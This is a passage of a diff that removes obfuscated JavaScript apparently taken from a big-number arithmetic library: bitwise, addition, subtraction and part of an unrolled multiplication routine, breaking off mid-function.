- _0x2779a6.prototype.iuand = function (_0x1361bd) {
- var _0x51191f;
- _0x51191f = this.length > _0x1361bd.length ? _0x1361bd : this;
- for (var _0x38b59f = 0; _0x38b59f < _0x51191f.length; _0x38b59f++) {
- this.words[_0x38b59f] = this.words[_0x38b59f] & _0x1361bd.words[_0x38b59f];
- }
- this.length = _0x51191f.length;
- return this._strip();
- };
- _0x2779a6.prototype.iand = function (_0x36ab2a) {
- _0x53d795(0 == (this.negative | _0x36ab2a.negative));
- return this.iuand(_0x36ab2a);
- };
- _0x2779a6.prototype.and = function (_0xfa1129) {
- return this.length > _0xfa1129.length ? this.clone().iand(_0xfa1129) : _0xfa1129.clone().iand(this);
- };
- _0x2779a6.prototype.uand = function (_0x470b1b) {
- return this.length > _0x470b1b.length ? this.clone().iuand(_0x470b1b) : _0x470b1b.clone().iuand(this);
- };
- _0x2779a6.prototype.iuxor = function (_0xf91de8) {
- var _0xcd260c;
- var _0x3fd57f;
- this.length > _0xf91de8.length ? (_0xcd260c = this, _0x3fd57f = _0xf91de8) : (_0xcd260c = _0xf91de8, _0x3fd57f = this);
- for (var _0x59d6ab = 0; _0x59d6ab < _0x3fd57f.length; _0x59d6ab++) {
- this.words[_0x59d6ab] = _0xcd260c.words[_0x59d6ab] ^ _0x3fd57f.words[_0x59d6ab];
- }
- if (this !== _0xcd260c) {
- for (; _0x59d6ab < _0xcd260c.length; _0x59d6ab++) {
- this.words[_0x59d6ab] = _0xcd260c.words[_0x59d6ab];
- }
- }
- this.length = _0xcd260c.length;
- return this._strip();
- };
- _0x2779a6.prototype.ixor = function (_0x1eaa69) {
- _0x53d795(0 == (this.negative | _0x1eaa69.negative));
- return this.iuxor(_0x1eaa69);
- };
- _0x2779a6.prototype.xor = function (_0x76e4ef) {
- return this.length > _0x76e4ef.length ? this.clone().ixor(_0x76e4ef) : _0x76e4ef.clone().ixor(this);
- };
- _0x2779a6.prototype.uxor = function (_0x459f3a) {
- return this.length > _0x459f3a.length ? this.clone().iuxor(_0x459f3a) : _0x459f3a.clone().iuxor(this);
- };
- _0x2779a6.prototype.inotn = function (_0x22bb94) {
- _0x53d795("number" == typeof _0x22bb94 && _0x22bb94 >= 0);
- var _0x2c1d22 = 0 | Math.ceil(_0x22bb94 / 26);
- var _0x2f6efd = _0x22bb94 % 26;
- this._expand(_0x2c1d22);
- _0x2f6efd > 0 && _0x2c1d22--;
- for (var _0x1f06c5 = 0; _0x1f06c5 < _0x2c1d22; _0x1f06c5++) {
- this.words[_0x1f06c5] = 67108863 & ~this.words[_0x1f06c5];
- }
- _0x2f6efd > 0 && (this.words[_0x1f06c5] = ~this.words[_0x1f06c5] & 67108863 >> 26 - _0x2f6efd);
- return this._strip();
- };
- _0x2779a6.prototype.notn = function (_0x3d1d3e) {
- return this.clone().inotn(_0x3d1d3e);
- };
- _0x2779a6.prototype.setn = function (_0x41d191, _0x39d9fc) {
- _0x53d795("number" == typeof _0x41d191 && _0x41d191 >= 0);
- var _0x1dfde8 = _0x41d191 / 26 | 0;
- var _0x105ca0 = _0x41d191 % 26;
- this._expand(_0x1dfde8 + 1);
- this.words[_0x1dfde8] = _0x39d9fc ? this.words[_0x1dfde8] | 1 << _0x105ca0 : this.words[_0x1dfde8] & ~(1 << _0x105ca0);
- return this._strip();
- };
- _0x2779a6.prototype.iadd = function (_0x1587f5) {
- var _0x410077;
- var _0xa08048;
- var _0x1a48d9;
- if (0 !== this.negative && 0 === _0x1587f5.negative) {
- this.negative = 0;
- _0x410077 = this.isub(_0x1587f5);
- this.negative ^= 1;
- return this._normSign();
- }
- if (0 === this.negative && 0 !== _0x1587f5.negative) {
- _0x1587f5.negative = 0;
- _0x410077 = this.isub(_0x1587f5);
- _0x1587f5.negative = 1;
- return _0x410077._normSign();
- }
- this.length > _0x1587f5.length ? (_0xa08048 = this, _0x1a48d9 = _0x1587f5) : (_0xa08048 = _0x1587f5, _0x1a48d9 = this);
- for (var _0x245261 = 0, _0x185a24 = 0; _0x185a24 < _0x1a48d9.length; _0x185a24++) {
- _0x410077 = (0 | _0xa08048.words[_0x185a24]) + (0 | _0x1a48d9.words[_0x185a24]) + _0x245261;
- this.words[_0x185a24] = 67108863 & _0x410077;
- _0x245261 = _0x410077 >>> 26;
- }
- for (; 0 !== _0x245261 && _0x185a24 < _0xa08048.length; _0x185a24++) {
- _0x410077 = (0 | _0xa08048.words[_0x185a24]) + _0x245261;
- this.words[_0x185a24] = 67108863 & _0x410077;
- _0x245261 = _0x410077 >>> 26;
- }
- if (this.length = _0xa08048.length, 0 !== _0x245261) {
- this.words[this.length] = _0x245261;
- this.length++;
- } else {
- if (_0xa08048 !== this) {
- for (; _0x185a24 < _0xa08048.length; _0x185a24++) {
- this.words[_0x185a24] = _0xa08048.words[_0x185a24];
- }
- }
- }
- return this;
- };
- _0x2779a6.prototype.add = function (_0x3330fb) {
- var _0x63fb1;
- return 0 !== _0x3330fb.negative && 0 === this.negative ? (_0x3330fb.negative = 0, _0x63fb1 = this.sub(_0x3330fb), _0x3330fb.negative ^= 1, _0x63fb1) : 0 === _0x3330fb.negative && 0 !== this.negative ? (this.negative = 0, _0x63fb1 = _0x3330fb.sub(this), this.negative = 1, _0x63fb1) : this.length > _0x3330fb.length ? this.clone().iadd(_0x3330fb) : _0x3330fb.clone().iadd(this);
- };
- _0x2779a6.prototype.isub = function (_0x3ac988) {
- if (0 !== _0x3ac988.negative) {
- _0x3ac988.negative = 0;
- var _0x2687e1 = this.iadd(_0x3ac988);
- _0x3ac988.negative = 1;
- return _0x2687e1._normSign();
- }
- if (0 !== this.negative) {
- this.negative = 0;
- this.iadd(_0x3ac988);
- this.negative = 1;
- return this._normSign();
- }
- var _0x57272f;
- var _0xae0ca5;
- var _0x5b5826 = this.cmp(_0x3ac988);
- if (0 === _0x5b5826) {
- this.negative = 0;
- this.length = 1;
- this.words[0] = 0;
- return this;
- }
- _0x5b5826 > 0 ? (_0x57272f = this, _0xae0ca5 = _0x3ac988) : (_0x57272f = _0x3ac988, _0xae0ca5 = this);
- for (var _0x3d7eb6 = 0, _0x2c898f = 0; _0x2c898f < _0xae0ca5.length; _0x2c898f++) {
- _0x3d7eb6 = (_0x2687e1 = (0 | _0x57272f.words[_0x2c898f]) - (0 | _0xae0ca5.words[_0x2c898f]) + _0x3d7eb6) >> 26;
- this.words[_0x2c898f] = 67108863 & _0x2687e1;
- }
- for (; 0 !== _0x3d7eb6 && _0x2c898f < _0x57272f.length; _0x2c898f++) {
- _0x3d7eb6 = (_0x2687e1 = (0 | _0x57272f.words[_0x2c898f]) + _0x3d7eb6) >> 26;
- this.words[_0x2c898f] = 67108863 & _0x2687e1;
- }
- if (0 === _0x3d7eb6 && _0x2c898f < _0x57272f.length && _0x57272f !== this) {
- for (; _0x2c898f < _0x57272f.length; _0x2c898f++) {
- this.words[_0x2c898f] = _0x57272f.words[_0x2c898f];
- }
- }
- this.length = Math.max(this.length, _0x2c898f);
- _0x57272f !== this && (this.negative = 1);
- return this._strip();
- };
- _0x2779a6.prototype.sub = function (_0x56e29f) {
- return this.clone().isub(_0x56e29f);
- };
- var _0x46c662 = function (_0x20798e, _0x4e55b9, _0x3bf6fe) {
- var _0x4c5d12;
- var _0x4090bf;
- var _0x5ce56f;
- var _0x46892b = _0x20798e.words;
- var _0x9055dd = _0x4e55b9.words;
- var _0x1e98ec = _0x3bf6fe.words;
- var _0x503f10 = 0;
- var _0x172366 = 0 | _0x46892b[0];
- var _0x4cc03e = 8191 & _0x172366;
- var _0x5b5b46 = _0x172366 >>> 13;
- var _0x4b8361 = 0 | _0x46892b[1];
- var _0x5dcb23 = 8191 & _0x4b8361;
- var _0x2caac0 = _0x4b8361 >>> 13;
- var _0x5333d3 = 0 | _0x46892b[2];
- var _0x277752 = 8191 & _0x5333d3;
- var _0x417c15 = _0x5333d3 >>> 13;
- var _0x2e0713 = 0 | _0x46892b[3];
- var _0xd9df2f = 8191 & _0x2e0713;
- var _0x4daf36 = _0x2e0713 >>> 13;
- var _0x3c49e9 = 0 | _0x46892b[4];
- var _0x5b66fd = 8191 & _0x3c49e9;
- var _0x21f471 = _0x3c49e9 >>> 13;
- var _0xa10775 = 0 | _0x46892b[5];
- var _0x162c72 = 8191 & _0xa10775;
- var _0x48a928 = _0xa10775 >>> 13;
- var _0x34cb4f = 0 | _0x46892b[6];
- var _0x3816ca = 8191 & _0x34cb4f;
- var _0x575ea2 = _0x34cb4f >>> 13;
- var _0x264e69 = 0 | _0x46892b[7];
- var _0x3c5b6f = 8191 & _0x264e69;
- var _0x452990 = _0x264e69 >>> 13;
- var _0x497c57 = 0 | _0x46892b[8];
- var _0x3a7070 = 8191 & _0x497c57;
- var _0x26b2c0 = _0x497c57 >>> 13;
- var _0x18f74a = 0 | _0x46892b[9];
- var _0x2ad816 = 8191 & _0x18f74a;
- var _0x254d57 = _0x18f74a >>> 13;
- var _0x441bd4 = 0 | _0x9055dd[0];
- var _0x455166 = 8191 & _0x441bd4;
- var _0x5cbc13 = _0x441bd4 >>> 13;
- var _0x5627ab = 0 | _0x9055dd[1];
- var _0xe8af63 = 8191 & _0x5627ab;
- var _0x5eff64 = _0x5627ab >>> 13;
- var _0x4b58a8 = 0 | _0x9055dd[2];
- var _0x43e5a1 = 8191 & _0x4b58a8;
- var _0x413c24 = _0x4b58a8 >>> 13;
- var _0x1885ad = 0 | _0x9055dd[3];
- var _0x32efa3 = 8191 & _0x1885ad;
- var _0x3f3bb8 = _0x1885ad >>> 13;
- var _0x532e89 = 0 | _0x9055dd[4];
- var _0x374c39 = 8191 & _0x532e89;
- var _0x2b8a85 = _0x532e89 >>> 13;
- var _0x2fab98 = 0 | _0x9055dd[5];
- var _0xa65f8e = 8191 & _0x2fab98;
- var _0x263949 = _0x2fab98 >>> 13;
- var _0x3964a8 = 0 | _0x9055dd[6];
- var _0x1b1a74 = 8191 & _0x3964a8;
- var _0x5e7900 = _0x3964a8 >>> 13;
- var _0x32a722 = 0 | _0x9055dd[7];
- var _0x33a52f = 8191 & _0x32a722;
- var _0x4e8ec2 = _0x32a722 >>> 13;
- var _0x1be735 = 0 | _0x9055dd[8];
- var _0x27fe06 = 8191 & _0x1be735;
- var _0x26806c = _0x1be735 >>> 13;
- var _0x54c8e0 = 0 | _0x9055dd[9];
- var _0x9222f0 = 8191 & _0x54c8e0;
- var _0x55a369 = _0x54c8e0 >>> 13;
- _0x3bf6fe.negative = _0x20798e.negative ^ _0x4e55b9.negative;
- _0x3bf6fe.length = 19;
- var _0xda0a2d = (_0x503f10 + (_0x4c5d12 = Math.imul(_0x4cc03e, _0x455166)) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = Math.imul(_0x4cc03e, _0x5cbc13)) + Math.imul(_0x5b5b46, _0x455166) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = Math.imul(_0x5b5b46, _0x5cbc13)) + (_0x4090bf >>> 13) | 0) + (_0xda0a2d >>> 26) | 0;
- _0xda0a2d &= 67108863;
- _0x4c5d12 = Math.imul(_0x5dcb23, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x5dcb23, _0x5cbc13)) + Math.imul(_0x2caac0, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x2caac0, _0x5cbc13);
- var _0x57745f = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0xe8af63) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x5eff64) | 0) + Math.imul(_0x5b5b46, _0xe8af63) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x5eff64) | 0) + (_0x4090bf >>> 13) | 0) + (_0x57745f >>> 26) | 0;
- _0x57745f &= 67108863;
- _0x4c5d12 = Math.imul(_0x277752, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x277752, _0x5cbc13)) + Math.imul(_0x417c15, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x417c15, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x5eff64) | 0) + Math.imul(_0x2caac0, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x5eff64) | 0;
- var _0x3662f0 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x43e5a1) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x413c24) | 0) + Math.imul(_0x5b5b46, _0x43e5a1) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x413c24) | 0) + (_0x4090bf >>> 13) | 0) + (_0x3662f0 >>> 26) | 0;
- _0x3662f0 &= 67108863;
- _0x4c5d12 = Math.imul(_0xd9df2f, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0xd9df2f, _0x5cbc13)) + Math.imul(_0x4daf36, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x4daf36, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x5eff64) | 0) + Math.imul(_0x417c15, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x413c24) | 0) + Math.imul(_0x2caac0, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x413c24) | 0;
- var _0x5c5767 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x32efa3) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x3f3bb8) | 0) + Math.imul(_0x5b5b46, _0x32efa3) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x3f3bb8) | 0) + (_0x4090bf >>> 13) | 0) + (_0x5c5767 >>> 26) | 0;
- _0x5c5767 &= 67108863;
- _0x4c5d12 = Math.imul(_0x5b66fd, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x5b66fd, _0x5cbc13)) + Math.imul(_0x21f471, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x21f471, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x5eff64) | 0) + Math.imul(_0x4daf36, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x413c24) | 0) + Math.imul(_0x417c15, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x3f3bb8) | 0) + Math.imul(_0x2caac0, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x3f3bb8) | 0;
- var _0x21847d = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x374c39) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x2b8a85) | 0) + Math.imul(_0x5b5b46, _0x374c39) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x2b8a85) | 0) + (_0x4090bf >>> 13) | 0) + (_0x21847d >>> 26) | 0;
- _0x21847d &= 67108863;
- _0x4c5d12 = Math.imul(_0x162c72, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x162c72, _0x5cbc13)) + Math.imul(_0x48a928, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x48a928, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x5eff64) | 0) + Math.imul(_0x21f471, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x413c24) | 0) + Math.imul(_0x4daf36, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x3f3bb8) | 0) + Math.imul(_0x417c15, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x2b8a85) | 0) + Math.imul(_0x2caac0, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x2b8a85) | 0;
- var _0x313bf5 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0xa65f8e) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x263949) | 0) + Math.imul(_0x5b5b46, _0xa65f8e) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x263949) | 0) + (_0x4090bf >>> 13) | 0) + (_0x313bf5 >>> 26) | 0;
- _0x313bf5 &= 67108863;
- _0x4c5d12 = Math.imul(_0x3816ca, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x3816ca, _0x5cbc13)) + Math.imul(_0x575ea2, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x575ea2, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x5eff64) | 0) + Math.imul(_0x48a928, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x413c24) | 0) + Math.imul(_0x21f471, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x3f3bb8) | 0) + Math.imul(_0x4daf36, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x2b8a85) | 0) + Math.imul(_0x417c15, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x263949) | 0) + Math.imul(_0x2caac0, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x263949) | 0;
- var _0x7b6afc = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x1b1a74) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x5e7900) | 0) + Math.imul(_0x5b5b46, _0x1b1a74) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x5e7900) | 0) + (_0x4090bf >>> 13) | 0) + (_0x7b6afc >>> 26) | 0;
- _0x7b6afc &= 67108863;
- _0x4c5d12 = Math.imul(_0x3c5b6f, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x3c5b6f, _0x5cbc13)) + Math.imul(_0x452990, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x452990, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x5eff64) | 0) + Math.imul(_0x575ea2, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x413c24) | 0) + Math.imul(_0x48a928, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x3f3bb8) | 0) + Math.imul(_0x21f471, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x2b8a85) | 0) + Math.imul(_0x4daf36, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x263949) | 0) + Math.imul(_0x417c15, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x5e7900) | 0) + Math.imul(_0x2caac0, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x5e7900) | 0;
- var _0x483f9c = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x33a52f) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x4e8ec2) | 0) + Math.imul(_0x5b5b46, _0x33a52f) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x4e8ec2) | 0) + (_0x4090bf >>> 13) | 0) + (_0x483f9c >>> 26) | 0;
- _0x483f9c &= 67108863;
- _0x4c5d12 = Math.imul(_0x3a7070, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x3a7070, _0x5cbc13)) + Math.imul(_0x26b2c0, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x26b2c0, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x5eff64) | 0) + Math.imul(_0x452990, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x413c24) | 0) + Math.imul(_0x575ea2, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x3f3bb8) | 0) + Math.imul(_0x48a928, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x2b8a85) | 0) + Math.imul(_0x21f471, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x263949) | 0) + Math.imul(_0x4daf36, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x5e7900) | 0) + Math.imul(_0x417c15, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x4e8ec2) | 0) + Math.imul(_0x2caac0, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x4e8ec2) | 0;
- var _0x4a4b8e = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x27fe06) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x26806c) | 0) + Math.imul(_0x5b5b46, _0x27fe06) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x26806c) | 0) + (_0x4090bf >>> 13) | 0) + (_0x4a4b8e >>> 26) | 0;
- _0x4a4b8e &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x455166);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x5cbc13)) + Math.imul(_0x254d57, _0x455166) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x5cbc13);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0xe8af63) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x5eff64) | 0) + Math.imul(_0x26b2c0, _0xe8af63) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x5eff64) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x413c24) | 0) + Math.imul(_0x452990, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x3f3bb8) | 0) + Math.imul(_0x575ea2, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x2b8a85) | 0) + Math.imul(_0x48a928, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x263949) | 0) + Math.imul(_0x21f471, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x5e7900) | 0) + Math.imul(_0x4daf36, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x33a52f) | 0;
